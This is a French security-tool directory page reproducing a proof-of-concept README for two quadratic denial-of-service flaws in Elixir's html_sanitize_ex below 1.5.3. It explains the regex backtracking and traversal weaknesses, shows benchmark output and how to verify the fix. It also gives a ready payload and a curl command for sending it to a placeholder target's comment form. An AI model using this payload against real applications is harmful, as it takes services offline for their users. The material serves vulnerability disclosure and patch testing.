Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex — PoC démontrant une DoS quadratique dans html_sanitize_ex d'Elixir via un HTML spécialement conçu ; inclut des benchmarks de temps d'exécution, une exploitation à distance via curl, et une vérification par rapport aux versions corrigées. | Kitploit
Outils/GitHubGitHub/hunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebAttaque Adversariale
GitHubhunt-benito/the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

the-sanitizer-is-the-weapon-cve-2026-68749-cve-2026-68750-quadratic-dos-in-elixir-html-sanitize-ex

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

PoC démontrant une DoS quadratique dans html_sanitize_ex d'Elixir via un HTML spécialement conçu ; inclut des benchmarks de temps d'exécution, une exploitation à distance via curl, et une vérification par rapport aux versions corrigées.

Voir le dépôt
il y a 7 joursPas encore vérifié
Partager

CVE-2026-68749 / CVE-2026-68750 — PoC

Déni de service quadratique dans html_sanitize_ex < 1.5.3.

Cette bibliothèque vise à neutraliser le HTML non fiable, mais deux chemins de code indépendants et super-linéaires permettent à une seule requête forgée de monopoliser un ordonnanceur BEAM pendant des secondes. Quelques requêtes concurrentes suffisent à saturer le pool d'ordonnanceurs et l'application cesse de répondre. L'impact est disponibilité uniquement (CVSS 8.2 High).

CVEComposantFaiblesseDéclencheur
CVE-2026-68749HtmlSanitizeEx.Scrubber.CSS.scrub/1CWE-1333 (backtracking regex)longue suite de caractères de mot dans <style> se terminant par :
CVE-2026-68750HtmlSanitizeEx.Traverser.traverse/2CWE-407 (parcours quadratique)longue suite plate de balises sœurs autorisées (p. ex. <b>a</b> × 20 000)

CVE-2026-68749 n'est accessible que via html5/1 (ou un scrubber personnalisé étendant :html5). CVE-2026-68750 se trouve sur tous les points d'entrée publics, y compris basic_html/1, markdown_html/1, et strip_tags/1.

Structure

root@kitploit:~
mix.exs     # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs     # generates both payloads and times them

Reproduction

Prérequis : Elixir ≥ 1.14 et une connexion internet (pour récupérer la dépendance Hex).

root@kitploit:~
mix deps.get          # fetches html_sanitize_ex 1.5.2
mix run poc.exs       # runs both demos and prints timings

Résultat attendu sur la version vulnérable 1.5.2 — les temps d'attaque relèguent au second plan les temps bénins. La forme est (illustrative ; les valeurs absolues dépendent du matériel, mais les deux repères d'attaque proviennent directement de l'avis EEF CNA) :

root@kitploit:~
=== html_sanitize_ex 1.5.2 ===

CVE-2026-68749  — CSS scrubber (html5/1), 80000 chars of 'a'
  benign  (…a!):         ~  milliseconds   (returns near-instantly)
  attack  (…a!:):        ~ 2.4 seconds     (thousands of x slower)
  diff is a single ':' character

CVE-2026-68750  — traverser (basic_html/1), <b>a</b> siblings
   2,000 siblings:       ~  milliseconds
  20,000 siblings:       ~ 1.7 seconds     (10x input -> far more than 10x work)
  ratio > 10 reveals super-linear growth

Le point clé est le ratio : l'attaque est des ordres de grandeur plus lente qu'une entrée bénigne de taille comparable, et 10× l'entrée coûte bien plus que 10× le travail. Les chiffres de 2,4 s (80 Ko de <style>) et 1,7 s (20 000 balises sœurs) sont cités depuis les avis upstream.

Vérifier le correctif

Modifiez mix.exs et augmentez la version épinglée vers la version corrigée :

root@kitploit:~
@vulnerable_version "1.5.3"   # or later — 1.5.3 contains both fixes

Puis relancez :

root@kitploit:~
mix deps.update html_sanitize_ex
mix run poc.exs

Sur 1.5.3, les temps bénins et d'attaque retombent dans le même ordre de grandeur, car le correctif borne le groupe regex ([-\w]+ → [-\w]{1,64}) et réécrit le traverser en un unique Enum.reduce + un List.flatten/1 (O(n²) → O(n)).

Exploitation à distance

Dans une vraie application Phoenix, ces appels se produisent partout où le serveur assainit le texte enrichi fourni par l'utilisateur. L'attaquant n'a qu'à POSTer la charge utile comme valeur du champ — aucune authentification requise :

root@kitploit:~
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"

curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
  -X POST https://target.example.com/comments \
  --data-urlencode "body=$PAYLOAD"

Huit requêtes concurrentes de ce type monopolisent les huit ordonnanceurs BEAM d'un hôte à 8 cœurs.

Références

  • Avis EEF CNA (68749) : https://cna.erlef.org/cves/CVE-2026-68749.html
  • Avis EEF CNA (68750) : https://cna.erlef.org/cves/CVE-2026-68750.html
  • Commit de correctif (68749) : https://github.com/rrrene/html_sanitize_ex/commit/4f4bd9eb254881462c0461fbab74b29188c2c133
  • Commit de correctif (68750) : https://github.com/rrrene/html_sanitize_ex/commit/9f5ccedbed230930813f992a1e6906fcf485981e

Pour usage éducatif / tests autorisés uniquement.

Télécharger l’outil